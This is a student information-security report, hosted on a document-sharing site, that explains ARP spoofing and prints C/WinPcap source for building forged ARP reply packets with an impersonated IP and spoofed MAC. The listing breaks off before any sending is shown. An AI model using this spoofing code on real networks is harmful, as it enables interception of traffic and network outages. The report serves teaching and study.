C语言实现ARP攻击(附源码)_第1页
C语言实现ARP攻击(附源码)_第2页
C语言实现ARP攻击(附源码)_第3页
C语言实现ARP攻击(附源码)_第4页
C语言实现ARP攻击(附源码)_第5页
已阅读5页,还剩1页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

信息安全原理——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112ARP原理:ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。ARP数据报格式如下:什么是ARP欺骗:其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。首先从/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。直接点击4.0beta1-WinPcap.exe安装,然后在C:\ProgramFiles\WinPcap下打开rpcapd.exe服务。然后在VC中,Tools→Options→Directories下配置include和library,将4.0beta1-WpdPack中的include和library库包含进去,本人把4.0beta1-WpdPack放在D盘根目录下,结果如下:然后在Project→Settings→Link→Object/libraryModules,在文本框的末尾添加“wpcap.libpacket.libws2_32.lib”。编译运行后按提示输入,内容如下:1.\Device\NPF_GenericDialupAdapter(AdapterforgenericdialupandVPNcapture)2.\Device\NPF_{2A933761-706B-40E1-833D-7209ED0C0467}(WAN(PPP/SLIP)Interface)3.\Device\NPF_{547462F5-42E8-4FFB-85F9-54DA60C68BFD}(BroadcomNetXtremeGigabitEthernetDriver(Microsoft'sPacketScheduler))2是二次拨号的端口,3是本地连接,1不知道是什么,没看懂。这里选择3输入的接收方MAC地址00:1C:23:2D:65:44是我自己的MAC地址,学校寝室的安全貌似做的很好,输入别人的MAC地址出不来东西。目标IP地址也是我自己的IP此时生成的包如下:01c232d654401bfcc21bb6860180640201bfcc21bb6a9be1601c232d6544a9be16000000000000000000解释如下:以太网首部:01c232d6544//以太网目的地址,手动输入01bfcc21bb6//以太网源地址,假的,固定ARP帧:86//帧类型,0806表示ARP协议01//硬件类型,0001以太网80//协议类型,0800IP协议6//硬件地址长度4//协议地址长度02//op,01表示请求,02表示回复01bfcc21bb6//发送端以太网地址,同首部中以太网源地址a9be16//发送端IP地址,假的,固定01c232d6544//目的以太网地址,同首部中目的地址a9be16//目的IP地址,手动输入填充:000000000000000000此时电脑右下角就会出现如下图的提示,IP地址冲突。附main.cpp代码如下:#include<stdlib.h>#include<stdio.h>#include<pcap.h>intmain(){pcap_if_t*alldevs;//定义一个网络接口的一个节点pcap_if_t*d;inti=0,inum=0,j;charerrbuf[PCAP_ERRBUF_SIZE];u_charpacket[60];pcap_t*adhandle;/*获得设备列表*/if(pcap_findalldevs(&alldevs,errbuf)==-1){fprintf(stderr,"Errorinpcap_findalldevs:%s\n",errbuf);exit(1);}/*打印列表*/for(d=alldevs;d!=NULL;d=d->next){printf("%d.%s",++i,d->name);if(d->description)printf("(%s)\n",d->description);elseprintf("(Nodescriptionavailable)\n");}if(i==0){printf("\nNointerfacesfound!MakesureWinPcapisinstalled.\n");return0;}printf("Entertheinterfacenumber(1-%d):",i);scanf("%d",&inum);/*跳转到选中的适配器*/for(d=alldevs,i=0;i<inum-1;d=d->next,i++);/*打开适配器*/if((adhandle=pcap_open_live(d->name,//设备名65536,//要捕捉的数据包的部分//65535保证能捕获到不同数据链路层上的每个数据包的全部内容1,//混杂模式1000,//读取超时时间errbuf//错误缓冲池))==NULL){fprintf(stderr,"\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n",d->name);/*释放设备列表*/pcap_freealldevs(alldevs);return-1;}printf("输入被攻击方的MAC地址(如FF-FF-FF-FF-FF-FF则为广播)\n");scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);/*以太网目的地址*//*以太网源地址,当然是假的*/packet[6]=0x0e;packet[7]=0x07;packet[8]=0X62;packet[9]=0x00;packet[10]=0X01;packet[11]=0x12;/*帧类型,0806表示ARP协议*/packet[12]=0x08;packet[13]=0x06;/*硬件类型,0001以太网*/packet[14]=0x00;packet[15]=0x01;/*协议类型,0800IP协议*/packet[16]=0x08;packet[17]=0x00;/*硬件地址长度*/packet[18]=0x06;/*协议地址长度*/packet[19]=0x04;/*op,01表示请求,02表示回复*/packet[20]=0x00;packet[21]=0x02;/*发送端以太网地址,同首部中以太网源地址*/for(i=22;i<28;i++){packet[i]=packet[i-16];}/*发送端IP地址*/printf("输入要假冒的ip地址\n");scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);/*目的以太网地址,同首部中目的地址*/for(i=32;i<38;i++){packet[i]=packet[i-32];}/*目的IP地址,手动输入*/printf("输入被攻击方的ip地址\n");scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);/*填充数据*/for(j=42;j<60;j++){packet[j]=0x00;}/*在屏幕上输出数据报

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论